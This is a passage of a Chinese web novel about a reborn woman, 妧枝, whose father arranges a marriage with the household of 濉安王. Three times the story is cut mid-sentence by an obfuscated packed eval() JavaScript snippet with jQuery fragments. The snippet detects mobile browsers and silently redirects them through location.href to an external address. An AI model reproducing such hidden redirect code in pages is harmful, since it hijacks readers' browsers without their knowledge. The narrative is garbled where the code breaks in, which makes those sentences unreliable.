只是这样其余地方就不够用了,还要养下人,好在是在京中还有两间铺子做租赁用,能缓解眉急。
妧枝重生回来,记忆慢慢回笼,才想起她身上还有笔钱,多数时候是她自己挣来的,不花妧嵘的。
平氏欲言又止,时下风气倒还不算迂腐,补贴家用都为寻常。
况且妧枝年岁欲长,很有自己的主意,她拿捏不住她,现在感觉更甚了,“你同你父亲登门,王府那边可有说法?”
妧枝给妧柔总角上的头绳换了新的,神色淡淡,“亲事不成了。”
她知道平氏很是关心这个,贴心道:“阿母以后不用再谈他们家了。”
平氏忧心忡忡,肉眼可见的忐忑慌张,“怎么会这样?是他们还在怪你那天怠慢,那你父亲……”
以妧嵘的心眼,如何咽的下这口气。
“有没有拿你撒气,这是为何啊?”
她就是这样,平氏虽以夫为天,夫死子为梁柱,对女儿偶尔会泄露出一星半点的关心。
她愚昧而可悲,根本不知道表面君子的丈夫,今时此日是在哪里快活。
“兴许是有,被我摁下去了。”
妧嵘有责怪之意,却抵不住濉安王的的态度,更让他光火。
妧枝显得漠不关心,提及今日之行,“商家大郎未曾出来见客,其与濉安王商议好了约定不作数,阿父便带我告辞了。”
平氏:“怎会如此?”
于她来说,无异于天塌了。
妧枝不再言语,帮妧柔打扮好,听着平氏自责那天东林寺没安排好,默默坐着思索起其他事来。
傍晚院子里亮起零星几盏灯,草木在昏暗幽漆的夜色中显形。
平氏张罗起饭食,大门口下人也终于等来妧嵘归家。
一家人围绕着饭桌而坐,今朝刚教训过妧酨,他饭食间不敢与任何人对视,尤其妧枝和阿父。
只低头耷眉,显得畏畏缩缩。
但妧嵘跟妧枝都并未对他多加关注,妧嵘从外面回来,许是怒气发泄的不错,气势不如早上那般阴郁了。
在他对面的妧枝瞧不出任何神情,似是对自己碗里的吃食情有独钟。
如果不是她嗅觉敏锐,能若隐若现闻到来自妧嵘身上那股脂粉香,还要以为这般落落大方、理直气壮的妧嵘不曾去过藏娇的街巷。
“主家……”平氏许是也察觉出他此刻比发怒时好说话,于是试探着问道:“今日登门,那边可有说我们两家今后是何打算啊?”
她还是胆怯的,只提“那边”,不明说王府。
妧嵘抬头冷笑,看了白日里跟他一同出门的妧枝一眼,竟奇异地没有过多冷嘲热讽。
“什么打算,不过是它濉安王府自己的算计罢了。”
“想必今天的事,大娘已经跟你说了。”
妧嵘冷不丁道:“不过,事情未必没有转机。”
随着话音落下,正漫不经心捻着饭粒的女郎也在此刻缓缓停箸。
掀眸看向那双充满狡诈而得意的眼睛。
妧嵘无不自豪道:“我去会友,请人做了说客,要找濉安王讨个说法,大概也是知晓那边不占理,亲事本是这位王爷先起的苗头,中途作罢,本就理亏于我们。”
“其事后传话与我商量,冤家宜解不宜结,万不能与我伤了同僚和气。所以……”
“亲事,继续。”
桌上除了妧嵘,其他人都不说话,只表露
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075104|163330||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出惊讶的态度。
平氏余光觑着妧枝,为心中担忧发愁,“可,不是说那位商大郎不愿意……”
宛如没放在心上,妧嵘摆摆手,“那不重要。”
“倒是大娘呢,怎么想的?可不要叫为父失望啊。”
他目光落在妧枝身上,压迫的意味浓厚。
本就不怎么有食欲的女郎放下筷子,平淡地与生父对视,“不知这亲事,具体如何安排?”
妧嵘却像卖起了关子,“你只管答应出席,其余可不必管。到时再随我去一趟王府。”
妧枝到了年纪,她早已及笄,只要父母还在,就摆不脱婚姻大事被安排的命运。
妧嵘打定主意要将她嫁人,不如他所愿难以干休。
“届时好生打扮一番,若是月例不够,就从你阿母那里支点儿,上门做客,可不许再像今日这般轻素。”
今天妧枝在王府的表现妧嵘是不满意的,她并没有为自己争取机会,而是一言不发坐在那。
妧嵘希望她下回最好机灵点,至少不要做个木头,白费了她这身丽质。
天黑后,与之相比濉安王府要热闹得多。
灯也通明,曲径通幽,但深宅大院要阔绰太多,作为宗室皇亲,濉安王府的财力无异于属于京都城中的高门大户。
是以子嗣繁茂,仆下多达上百人。
从外面回来,大门走到正院,路经内堂,还未走进就已经听见里面的说笑声。
商榷安刚刚露了一个侧影,就被明眼人快速一扫,脱口唤住,“大兄回来了。”
声音由王妃所出最小的女儿发出。
目目相对,内堂中除了濉安王夫妇,在场的共有七个子女,妾室两人。
四子三女,都神色迥异地朝商榷安看过来。
“榷安回来了,晚食已过,可吃过了?”王妃:“要不要帮你安排伙房再准备一些?”
“不必了。”商榷安:“我已在外用过,不劳烦王妃了。”
“你这孩子,都是一家人,还是这么客气。”濉安王妃笑了笑,不再勉强。
濉安王:“去哪儿了?”
白日商榷安出了去,这么晚才回来,濉安王总要问一问。
众目睽睽都盯着他,论年纪商榷安这家中长子,但细究起来,他身份十分微妙,尤其这二十多年都被过继给了别人。
与他们这些兄弟姊妹没有丝毫情分可言,可谓生疏。
偏偏,其这么多年在外长大,论聪明才智,如今前途,却又是王府子弟任何一人都比不了的。
说起来濉安王在朝为官,他算是少数宗亲里有话语权的臣子,没想到商榷安青出于蓝,竟也年纪轻轻就考取了功名。
而同样与濉安王在一个朝堂上做事,还深得上面器重。
这就让王府里的其他子弟的处境十分尴尬了。
商榷安:“办差。”
面对濉安王的问话,这位大郎君只给了简短的两个字。
“若没什么事,我先回院子了,诸位早些歇息。”濉安王脸色微僵之下,商榷安并没有过多理会,更无心应付,简单道了句,便风仪有度的从所有人面前离开了。
商榷安一走,内堂的气氛也跟着变得不同起来。
濉安王显然没了享受天伦之乐膝下承欢的兴趣,妾室们有眼色的开始带着自家儿女从王爷眼前退出。
屋子里渐渐只剩王妃和濉安王二人。
沉默片刻,濉安王在僵硬的气氛下冷哼了一声,“我本是想要等他回来,与他商量妧家的事,可你瞧瞧,这是什么态度。”
王妃:“王爷莫怪,他一直都是这副性子不是吗?”
“悔不该当初将他送人。”
濉安王摇头叹道,下一刻又道:“既然他不肯与我商议,那就怪不得我另行主张了。”
“妧家的亲事,还是得结。”
5. 第 5 章
“这香粉用料倒是极好的,你涂上更好看了。”
奉妧嵘之命,这次王府登门,平氏亲自替长女把关,在妧枝屋里,守着她更衣打扮。
妧枝依旧是冷冷清清之色,但描了妆后,倒是鲜活艳丽许多。
妧柔在镜子里夸赞,“阿姐真漂亮。”
妧枝对她与对妧酨不同,微微一笑,那一下如初春料峭,云开雨霁般,终于有了个好脸色。
平氏瞧见,轻轻一叹,“你这性子,越发倔了,对我都摆起脸色,以前可不是这样的。到底是怎么了?”
原本说好的相看,却在东林寺反悔。
回来后对家里人都十分冷漠,平氏难以弄懂这个女儿。
妧枝不回话,平氏的抱怨亦只能作罢。
“走吧,今日可要好好表现,别再惹怒你父亲了。”
将最后一点胭脂摸匀,平氏拉着妧枝起身,妧柔跟在母亲姐姐身后一同出了院门。
妧嵘等在门口,见到妧枝等人出来,对她一番打量,满意地点头,“都准备好了,上车吧。”
妧枝踩着小凳钻进马车里,平氏与小女儿牵着手目送他们离去。
“昨夜我与你说的,都记住了吧?”
只剩父女二人,妧嵘观察妧枝神色,发现她竟一点也不为再次去王府紧张,于是旁敲侧击她此行的态度。
实在是长女太有主张,他担心她临阵有变,那可就不好弄了。
岂料妧枝只幽幽的朝妧嵘看过来,勾唇轻嘲,“阿父都那样说了,再不记住,岂不懂事。”
她变乖了,不乖张叛逆妧嵘又觉得怪异。
担心她有古怪,上下打量她一眼,却揣度不出什么,为了不丧失为父尊严,冷咳了一声,“你莫要觉着这门亲是不妥,为父是为你好,绝对不会害了你。”
此后车中气氛僵硬,相顾无言。
就连妧嵘这百般挑剔不好相与的人都不适应,好在没撑多久濉安王府就到了。
王府今日为了迎客,亦有所安排。
府内洒扫了最大的香榭苑,以为宴客做准备。
奴仆穿梭而过,手捧鲜花吃食,管家引路,路过修剪的良好的盆栽树木,一看就是花费了心思培养的。
这何尝不是一种展示府邸主家财力的一种手段。
妧嵘看着这偌大的宅院,比起王府,妧家那个小户宅几乎不值一提。
待他做了更大的官,迟早也会有这般排场。
他心中冷哼,为了不让旁人发现他的心思,不由地往周围环顾一番。
却发现跟在身后的长女在步入王府内宅,在见到如此豪贵气派的院子后竟然没有一丝对富贵的向往跟渴望。
难道他当真生了个毫不贪慕虚荣,视荣华名利如粪土的女菩萨不成?
见到妧嵘回头,被他的动作吸引的妧枝对上那双眼睛,问:“阿父为何这么看着我?”
“有事?”
被发现后,妧嵘略微收敛起观测的眼神,狐疑道:“我只是觉着奇怪,你这是第二次来王府,怎么好像半点对这里的格局一点都不好奇。”
“还有上一回也是,你第一次随我登门吧,我还真差点忘了,王府迎客的那个丁管事,你竟也好似很熟悉。真是奇了怪了。”
面对揣度,妧枝稳如泰山,浑不改色。
这让妧嵘瞧不出任何异样,但他清楚地知道,在此前妧枝根本不可能来过王府。
所以,兴许这一切不过是他的错觉。
在妧嵘收回目光,转过身去之后,妧枝以皮笑肉不笑的弧度,扯了扯唇。
论对王府的熟悉程度,上辈子嫁给商榷安的她,自然是对这个家里的一切了如指掌。
妧嵘没见过的她都见过,这里的一草一木妧枝都看了生厌,又叫她如何感觉到好奇。
她一点都不欣赏。
但,还是要做个初次来的样子,以免惹人怀疑。
引路的仆人停下脚步,在香榭苑的入口回身对妧家父女二人道:“就是这里了,请二位贵客容我前去禀告,再来请贵客入座。”
大户人家规矩严苛,不急这一时半会。
妧嵘挥挥手,“去吧。”
草玄堂。
屋中有人正在议事,书斋中墨香正浓,青衣长随从院外匆匆进来,里面的人很快注意到他的步伐。
目光一凝,颇为肃穆。
枕戈顾不得往日虚礼,走向正中间的身影,抬手禀告:“大郎君,不好了,出事了。”
商榷安看着下属,面色不惊,连问都没问一句。
直到枕戈焦急道:“大郎君,妧家的登门了,属下方才听前院的人说,是王爷请来的,两者有约,还带来了妧家那位大娘子。”
“这莫不是打定主意缠上了郎君?!”
此话一出,周围其他人露出讶异的神色。
“此话怎讲?大郎君的亲事,王爷不是说好由他自己做主吗?”
“难道王爷不肯遵守约定,临阵反悔了……”
“那……”
在一片争议之中,商榷安一个眼神巡视过来,叫嘴上说话的下属纷纷闭上嘴巴。
“确定是他们?现在何处?”
枕戈忙不迭应道:“真是如此!大郎君,人是王爷请来的,已经命人打扫了香榭苑宴客了,都是我亲眼所见,绝不会有假!”
“还有那大娘子,也来了呢!今日可是好生打扮了一番,远不似上回那么素净。”
“大郎君……要小心为上啊。”
面对长随的提醒,商榷安眉头微蹙,告诉下属们,“你们先议,我去看看怎么回事,随后就来。”
“是,郎君且放心去就是,这里还有我等呢。”
草玄堂内其他人应声,于是枕戈带路,商榷安与他一同前往香榭苑。
近来春寒,风一吹还是会带出丝丝凉意。
但商大郎君的面庞,还是冷得如霜一样,岿然无恙。
脚程稳健,瞧着亦是丰度翩翩。
只是在步入香榭苑后,在看到不远处的娇丽身影时,戛然止步。
“大郎君?”
枕戈讶异,怎么忽然就停了不过去,趁此机会那女郎落单之时,好质问啊。
商榷安似有自己的思量,没有回应。
又似不想与对方有过多牵扯,是以便停在这里。
这时,从另一处的花石旁走出几道人影,见到商榷安仿佛有些惊讶。
濉安王妃与随身伺候的仆从来到他面前,“榷安,你怎么来了?”
……
独自坐在香榭苑的一角,身边只有一个王府的婢女陪着,无视了下人若有似无的窥探,妧枝依旧坐在凳子上一动不动。
她不像是第一次来,没有半分好奇或是问东问西。
下人看到她的眼睛里,神色中,尽是对周遭的一切表现出来的淡漠和厌倦。
“妧娘子可要喝水?茶凉了,我再去沏杯茶来。”婢女奉命要招待好她,见面前茶杯已空出声问。
被单独留下来的妧枝没有犹豫地拒绝了:“我不渴。”
婢女登时僵持在原地。
方才大人们去了王爷的书房,也许有要事要谈,妧娘子便被留下来了。
本以为她是个像寻常家女郎好招待的,眼下到不尽然,这位娘子的态度,没有半点对他们王府高门的敬畏跟讨好之意。
“那,娘子有吩咐,可随
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15075105|163330||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时叫我。”说罢婢女退回到妧枝身后。
不管旁人是怎么看待她的,妧枝始终维持着古井无波的模样。
她曾经是这里的媳妇,是名义上的大夫人,但是她的丈夫对她没有情意,所有人都知道她不受宠。
这个府里的下人也最是踩高捧低,表面客气敬重,背地里不知议论了多少她的闲话。
以前,妧枝是迎来送往的好手,也会打点下人,试图融入这里。
可如今,不管是客套还是寒暄,任凭别人怎么看她,她都提不起兴致了。
不像妧嵘,满眼都是算计和对富贵权势的渴望。
这辈子,为了她的亲事在香榭苑里做客,倒是跟上辈子的经历很像。
不知不觉,妧枝撑起了下颔回想。
上一世也是妧嵘带她来王府跟商榷安接触,他们在东林寺因她掉落的荷包结缘,见了面上了香。
说了几句话,站在一起年轻华茂,就被传颂成是天作之合,郎才女貌了。
在长辈们的主持下,两家逐渐交往更密,往来也多。
可只有妧枝自己清楚,作为婚嫁的对象,她同商榷安见到的第一面就能感觉出,他并不为她而心动。
既然不喜,这样的人嫁过去又能有什么好结果?
妧枝自然也不情愿,然而,母亲的劝说,弟弟的无能,妧柔的眼泪,让她最终向妧嵘屈服。
“榷安,你怎么来了?”
一道话语声打断妧枝的神思,瞬间扭头朝来路看过去,一眼就瞧见了全是熟人的身影。
也同样的,时至今日第一回,从上辈子回来后。
妧枝目光跟商榷安对上。
在下一刻,刹那间对方很快避嫌似的,挪开了眼神。
妧家主母未至,只有妧枝一个女郎来此。
濉安王妃作为王府女眷自当出来招待这个小娘子,恰巧她刚到不久,就看到路中间驻留了两个人。
走近一看,竟是一向请都请不来的商榷安。
那边不远处的妧娘子已经被吸引了注意力,静静地望着他们。
气氛略显微妙,然而更让人惊讶的是商榷安的来意。
商榷安:“未曾听说今日府里设宴,我来看看。”
濉安王妃笑着说:“倒也不是什么大事,居然惊动你了?”
这话连带商榷安旁边的随从都听了皱眉,为自家郎君抱不平,什么叫不是大事?
“日前大郎君同王爷已是说好了,拒绝了与妧家的亲事,没想到今日他们还是登上了门。莫非是上回没与他们说清楚,出尔反尔又缠上来了?”
“如此重要的消息,却一人知会大郎君,事关婚姻大事,这可……”
枕戈代为质疑道,在当众近乎落了王妃脸面后,在场的几乎都变了神情。
只有商榷安颜色未改。
直到濉安王妃僵着脸,缓过容色之后惊诧道:“这是说的什么话啊?”
“出尔反尔又从何说起?”
捏着帕子,在商榷安和随从的脸上反复巡看,察觉出端倪的濉安王妃登时反应过来,一拍手掌,“这可真是误会!”
枕戈:“香榭苑大摆相亲宴,这消息是府里下人都知道,如今亲眼所见,难道有差?”
濉安王妃微露笑意,“错,错错错!”
“这相亲宴是有,的确不假,可不是为大郎君准备的呢。”
面对商榷安,濉安王妃再次道:“与妧家大娘子相看的,也不是大郎君,榷安放心即可。”
“什么……”
“府里儿郎众多,为了修复与妧侍郎的同僚关系,王爷便让三郎、四郎去同妧大娘子相看了,所以,这才没有知会榷安你啊。”
6. 第 6 章
四方亭里,一站一坐着两道身影。
妧枝偏着头,神色很是静默,乌漆的眼眸静静望着占了一堆人的那一处。
她对商榷安的突然出现没有任何感觉。
只因不知道他闯入这里做什么,一丝奇怪,看清楚后,瞥了一眼便收回了目光。
就在此刻,另一处的房门打开了,走出来一伙人。
方才不见踪影了的濉安王、妧嵘以及王府子弟都从屋中出来,那画面看似相谈甚欢。
妧枝这才淡然地从凳子上起身。
这一幕好生与上一世相似。
上辈子,两家亲事谈妥以后,妧嵘也同濉安王去了书房一遭,不过陪在他们身边的可不止三郎、四郎,还有商榷安。
不过这回,对方从当中缺席了。
“阿枝,过来。”
妧嵘召唤,妧枝这才动了身,不紧不慢,步履从容地迈下亭子外的台阶,朝妧嵘等人走去。
她腰身款款,裙摆在行走之间荡出一层小小的波浪,步步生莲。
这期间有多道目光在看她,日光鼎盛,妧嵘说的没错。
只要见过她,就不会有人拒绝妧枝。
她在光影下细皮嫩肉,白极了,仿佛会发光。
身上仿佛带着香。
“阿父。”妧枝在他们跟前不远的地方站定。
濉安王和王府里的两个郎君看着她,父子三人都微微点了点头,这让妧嵘在旁观测,隐晦而得意的扯了扯嘴角。
论姿容,他相信他生得女儿绝不会差。
因为他自个儿就是一表人才,圣上钦点过的探花。
“画看完了,多谢王爷赠我两卷画圣的墨宝,这可是千金难买的宝贝啊。阿枝,为父待会让你也见识一下它的可贵。”
这种寒暄并不需要妧枝理会,她只需在旁做个花瓶,为这样的气氛锦上添花即可。
濉安王:“英华说笑了,上回的事,你能不计前嫌就好。”
妧嵘:“岂敢岂敢,这不是好事多磨吗?要不是如此,如何还能见到王爷这两位英姿勃发的小郎啊?”
被称赞的王府子弟,三郎与四郎齐齐拱手表示谦虚,“侍郎谬赞了。”
李屹其与李含翎乃是濉安王妃所出的两个儿子,二郎李平川为妾室之子,已经娶妻,他们还有一个最小的弟弟李巍珞,今年才十二岁。
这才没有与妧枝相看。
说起来,整个皇室姓李,但商榷安却与他们不同,也是因为他被过继出去后,继承了前养父的姓。
至于为何没有改回来,就要问商榷安自己了。
妧枝只大概知道一点,听下人说,商榷安颇为看重曾经抚养过他的养父,被认回来后,坚持不肯改姓,说是他曾经生过一场重病。
若是没有养父他就已经死了,所以便一直姓商。
简单谈笑一番,濉安王方才进入正题,“我看今日气候正好,庭院里又开了春,还有闲余时间。不若就让是三郎跟四郎陪你家大娘在府里逛逛,你与我两根老骨头去暖阁吃茶,聊聊我们同僚间自己的事,如何?”
妧嵘:“岂敢不从。”
接着,濉安王示意的眼神扫向李屹其与李含翎二人,“好生招待妧娘子,可不许轻慢了人家。”
李屹其与李含翎纷纷颔首,“是。”
妧嵘也同样交代妧枝,他这几日对妧枝感慨颇深,长女脾性渐长,有脱离掌控之嫌疑。
他盯着她道:“阿枝,好好与两位王府公子相处,这是为父给你找的好人家,错过了,可不会再有了,听见了吗?”
他的眼里有着警告,毫不怀疑,如果这次妧枝还是不听话,搞砸了一切。
妧嵘定然会将她当做弃子,直接不分人家,不分门第人品就选个人定下来。
让妧枝尝尝不听他话的下场。
违逆父亲,就是不可饶恕。
旁边濉安王和儿子们已经往这边看过来,妧枝冷冷的微微勾了勾唇,脖颈微屈,低头俨然一副乖顺姿态,“是。”
得到回应,妧嵘这才与濉安王离去。
看着这一幕,隔着亭子,站在近乎入口处的地方,濉安王妃怀着浅淡的微笑,面对突然哑口无言般了的主仆二人。
“瞧,榷安,没有看错吧?今日这相亲宴,的确是与你无关,你父亲答应过你的事,可不会作假。“
濉安王妃:“他岂敢不尊重你的意见呢?”
在东林寺,妧枝没与商榷安相看成,归家后引妧嵘大怒。
同样的,在王府濉安王也因为商榷安没有出席而感到颜面无光。
却不想当日对方一回来,就与濉安王做了一笔交易,让他以后再也不要插手商榷安的亲事了。
终身大事他自己来办,娶谁都与王府无关。
是以之后妧嵘领着妧枝前来,才会吃了那样一场挂落。
从书房那边收回目光,商榷安兀自镇定,不似一旁的枕戈,宛若犯了错,略有些讪讪的模样。
“为什么还要与妧家结亲?”
“这,可要问你父亲,也许有他自己的考量。”濉安王妃惊讶道:“怎么,有哪里不合适的么?”
商榷安忽地不说话了。
没想到有妧嵘结党的证据摆在濉安王面前,以为能吓住他,结果还是不能让他知难而退。
不过倒是将亲事人选换了而已。
“榷安?”
在濉安王妃的催促声中,商榷安道:“既然府里还有喜事,那就不多打扰了。”
“诶,这就走了?”濉安王妃:“那你误会应当解开了吧,你三弟四弟还未婚配,今年又要再次考取功名。”
“若能得到前探花妧侍郎的指点也是好的。”
“你觉得呢?”
只要跟妧枝相看的不是商榷安,一切都风平浪静。
妧嵘也并非是什么好的岳父大人。
为了撇清干系,商榷安点点头:“如此甚好。”
在李屹其与李含翎领着妧枝即将走过来之前,他快速转身,似是不想有一点交集,道:“草玄堂还有客等候,先告辞了。”
濉安王妃阻拦不及,只能眼睁睁看着他与随从匆匆离去。
其他三人早已瞧见这一幕。
妧枝被夹在李屹其和李含翎之间朝濉安王妃走来。
在行了一番礼后,李家三郎李屹其问:“方才那是?”
濉安王妃装傻充愣,“什么?”
她用疑问粉饰太平,即便大家都看到了商榷安的身影,但今日可不宜被破坏,所以最好提都不要提。
李屹其仿若了解母亲的心思,在未得到明示下,接收到濉安王妃的眼神,下意识往中间的妧枝一瞥。
嘴里开口,“呃,父亲……让我和四弟领妧娘子在府里逛逛,母亲,可有推荐的好去处?”
濉安王妃:“你这孩子,府里这么大,何处不能赏景。这我可不好插手,既然妧娘子有人陪了,那我可就去忙了。”
“你们两个,可要好生照顾好人家。”
如同不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15075106|163330||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
曾听懂这对母子打的谜语,妧枝身处中心,连眉头都没掀。
但她自身有一副好相貌,眉眼又极具欺骗性,虽然冷了些,却并不惹人反感。
反而觉得她这副气质姿态,太过脆弱。
“阿枝。”濉安王妃上来握住妧枝的手。
上回登门,因本不打算与妧家往来了,所以她并没有现身。
如今又不一样,她用看将来儿媳妇的眼神暗地里将妧枝挑剔了一番,事实证明,容貌没有瑕疵,但性子不明。
还是需要多接触。
“让三郎四郎陪你,若有什么不妥之处尽管吩咐他们就是。等逛累了,可歇下来喝杯茶,吃些点心。”
濉安王妃脱下手腕上的一只玉镯,放进妧枝手里,笑着道:“你是个有福气的,定然与我们有缘,这东西你好生收着,就当是见面礼,千万不要与我客气。”
她举止强硬,妧枝实则根本没有推脱,就被强迫收下了这只玉镯。
成色碧绿,一看就是好货色。
“多谢王妃。”
“去吧,去玩吧。”
在挥手中,妧枝被李家三郎四郎带着走出了香榭苑。
两位公子中,李含翎的年纪其实与妧枝相仿,都不过十九岁,而李屹其老成几分,性子却天壤之别。
李含翎年轻气盛,李屹其有种伪装的沉稳。
曾经,他们都是妧枝的小叔子。
妧枝对他们并不陌生,李含翎李屹其却是在稍显安静的气氛中,明里暗里都对她观察了一番。
无疑,这个女郎的相貌是个合适做妾的人选。
妾自来是选相貌美丽的,而妻自然是选贤。
这个妧家女郎却两者都兼具,让奉父母之命前来相看的李三郎李四郎心中倒是不怎么抗拒起来。
李屹其:“前面就是叠翠轩,我记得那有一个秋千,女郎若是不嫌弃,可以坐上去玩玩。”
李含翎:“妧娘子且去坐,含翎可代为推你。”
话音落,兄弟二人相视了一眼,又不约而同瞥开目光。
论亲事到底给谁,还要看这位妧娘子选择谁,他们虽同是王府子弟,一个母亲生的,可是婚事嫁娶有时也由不得自己。
若能跟妧枝结成连理,有个侍郎大人做岳父,虽不说地位能否拔高,至少在读书的前途上,绝对是有帮助的。
这道理无论是李屹其还是李含翎都不傻,这时候可就没有兄友弟恭的必要了。
草玄堂。
听见外面的动静,枕戈将院子里的门给打开。
入目就是与往日别无二致的风景,只是多了一些人影。
再定睛一看,登时惊愣在原地。
未料想李屹其兄弟二人会把妧家大娘子带到了这里,府中谁人不知,没有屏障遮挡的叠翠轩就是一个小花园,紧挨着草玄堂附近。
就算不打开门,只要沿着围墙转一圈,就能透过镂空的窗花空隙看见外面的情况。
时值日中,太阳光风和日丽,窈窕的女郎坐在了露水被风干的秋千上。
两条麻绳做支架,背后有一个男子推着她轻轻荡,裙摆像风一样。
另一个还守在一旁,准备接班。
叠翠轩何时出现过此情此景?
忽地,一声命令传来,“把门关上。”
枕戈怔怔地回头,就看见从内堂走出来的大郎君站在门口的台阶上。
衣衫清肃,眸也未抬,面色犹冷。
似是打算对那边,眼不见为净。
7.第 7 章
李屹其与李含翎之间的争端落在妧枝眼里,倒是别有一番风趣。
她嫁进王府时,这两个小叔子早在商榷安的规训下,对大房敬而远之。
当时李屹其也开始在相看亲事人选,李含翎因不爱在王府居住,说是嫌府里气氛古怪,于是在外面购置了别的屋子躲清闲。
妧枝作为新妇,忙于内外,跟濉安王妃接触较多,其他人并不怎么来往。
早知当初如果换做是跟他们两兄弟相看,还能有这种乐子,又何必拘泥于那个人呢。
“妧娘子,我想你应当累了,下来用些点心水果吧。”
李含翎在秋千背后推着妧枝,没有他插足的余地。
李屹其亦不甘示弱,这种活,他比李含翎年长,不屑与他计较,于是想了别的办法,不让那边的气氛活跃下去。
不然,倒叫他成了锦上那枝伶仃旁观的绿叶了。
李屹其招手示意,石桌上摆了几盘婢女端来的吃食,还捧了一壶茶一壶酒来。
李含翎似笑非笑落于妧枝身后,同兄长对视,“阿兄,何必呢?考虑的真是周到。”
“含翎,玩了那么久,我并没有打扰你和妧娘子,这还不行?”
李屹其走近,压低了嗓音说:“父亲说了,与妧家结亲,会有些辛苦,但目前有一事于我们有利。”
“那妧嵘并不好相与,你不是喜欢受气那等性子,我亦不是那样的人。”
“但,我比你能忍,作为兄长,我有责任担起家族兴旺的义务,含翎,此女之争,我们兄弟不必闹得下不来台,免得叫外人看了笑话。”
李含翎:“阿兄说的是,本来这家中嘛,你为二郎,我为三郎,二兄才是大郎君。”
“如今那个人回来以后,一切都变了。”
他笑笑,说:“阿兄,我是不想跟你争,可是你也说了,妧嵘提的条件于我等有利,我也不想放弃。”
“不跟你争,也要跟那个人,争一口气。”
他示意朝草玄堂的方向抬了抬下巴。
李屹其知道,自打去年这位他们所谓的大兄被认回来以后,府里风云变幻,最难熬的就是他们这些原来的王府子弟了。
有珠玉在前,本身李屹其与李含翎都算得上中上之姿,却还是输给了考取到了功名,在养父家长大,家世、身份、财力都不如他们的商榷安。
老四性骄,如何能忍,尤其这府中偶有下人口舌。
说没想到大郎君有如此天分,当初,在过继时就不应该把他送人。
但若不是送他,那应该送谁?
王府里就这几个子嗣,是二郎还是他们兄弟俩啊?
闻言李含翎就回来同濉安王妃告状,然后将嚼舌根的下人打了板子,发卖了出去。
可是这种风声,总是让人不舒服,成了李含翎心中的一根刺。
李屹其默了片刻,“既然如此,那我也不多说了,就顺其自然,看看这位妧娘子是什么想法吧。”
“含翎,你我是亲兄弟,我不与你交恶,不管最终是谁与妧家结亲,你我之间都不要有嫌隙。”
李含翎:“那是自然。”
两兄弟避开妧枝,做了个暂时的约定,然后装作若无其事的样子,重新回到石桌边。
“妧娘子。”李含翎热情招待,“这点心合不合你口味,这松瓤鹅油卷偏甜咸口味,须得搭配着木樨清露喝才行。”
李屹其:“还是吃这道酥油鲍螺和透花糍吧,入口即化,不怎么腻。”
抬眸打量他们二人几眼,察觉出刚刚略显怒剑拔张的气氛突然消失了。
妧枝不动声色收回目光,“多谢,我自己来。”
“妧娘子家中有几个兄弟姊妹?平日爱好去哪儿?”
李含翎邀请道:“若白日里有空闲,可以常来这里走动,千万不要客气。”
“我是长女,名下还有一个弟弟一个阿妹。”妧枝没有隐瞒,和李家子弟的亲事,目前不是她说了算。
但也不必要因此和这二位结仇,用以应付妧嵘短暂联系着倒也不错。
“那,下回再聚可以把两位弟妹请来。”
妧枝笑笑,勾了下唇,樱粉般的红唇好似别有一番风情,叫李屹其李含翎的眼神不由地良久的落在她嘴唇上。
喉结不约而同动了动。
这位妧娘子,好像跟一般的女郎不一样。
她一个未嫁之身,如有着犹似已婚妇人的韵味风情,不惊颤,甚坦然。
还有一丝应对他们这种王孙公子的信手拈来。
“妧……”
“三郎君、四郎君。”下人从远处过来,“有客人来了,王妃说,还请移到沉香居接待。”
被打扰后,李屹其李含翎都有些许不耐,微微蹙眉,却又有一丝庆幸。
好在,没有当着妧枝的面太过失态。
“什么客人,没看见我们这里还有位娇客吗?”
李含翎训斥。
然后迎上妧枝明润乌黑的眼神,“妧娘子。”
“日中快过了,我想阿父与王爷也应该谈好了。”妧枝起身:“我过去看看。”
李屹其欣赏地看着她,颇为舒心她的识大体,进退有度。
至少很有眼色不会在主人家要忙时不懂得退避。
“那,我让婢女护送你去。”李屹其朝一旁的婢女使了个眼色,并且在妧枝即将走时,道:“今日未能招待圆满,还请下次妧娘子再给我和四郎一个机会。”
妧枝颔首,并未作答,李家兄弟难以揣度她这到底是答应还是不答应。
只能看着这个生得好似梨花白雪的女郎慢慢走远。
出了叠翠轩。
妧枝回到王府的内堂,果然没等多久妧嵘就从濉安王的暖阁里出来了。
时值日中,一般这个时候家中富庶的都已经在准备午食了。
但即使连妧嵘也没有留在旁人家里用饭的习惯,他让妧枝接过王府下人抱着的两轴画卷。
回头对要送他们到门口的濉安王道:“子诚留步,何须再送。”
“英华何必客气,这都是应该的。”
